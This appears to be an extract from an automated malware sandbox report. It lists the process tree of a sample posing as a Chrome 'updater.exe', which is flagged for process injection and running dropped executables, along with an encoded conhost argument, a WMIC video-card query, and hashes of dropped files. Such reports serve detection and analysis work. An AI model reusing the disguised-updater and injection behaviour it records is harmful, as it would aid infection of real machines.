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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3680
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2012
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:3664
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD559d97011e091004eaffb9816aa0b9abd
SHA11602a56b01dd4b7c577ca27d3117e4bcc1aa657b
SHA25618f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d
SHA512d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6
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Filesize
1KB
MD5bf424d12ebb5344a013a23e0e0b1b520
SHA19d2809999be8ef7c8919975814727b63437fc55a
SHA256e549f351170eb54170f9b1e7d5a1034e6dc326e2fec382540f4c5b5d8c188e80
SHA5128360f6a4ca9ff0d4c9ff78a7841db86680c442f37fe0c3509b902424125bd21129873935fc4ce4d31a469bea7d8703d9deba15cdb8b685c8c55cfa525169c34d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5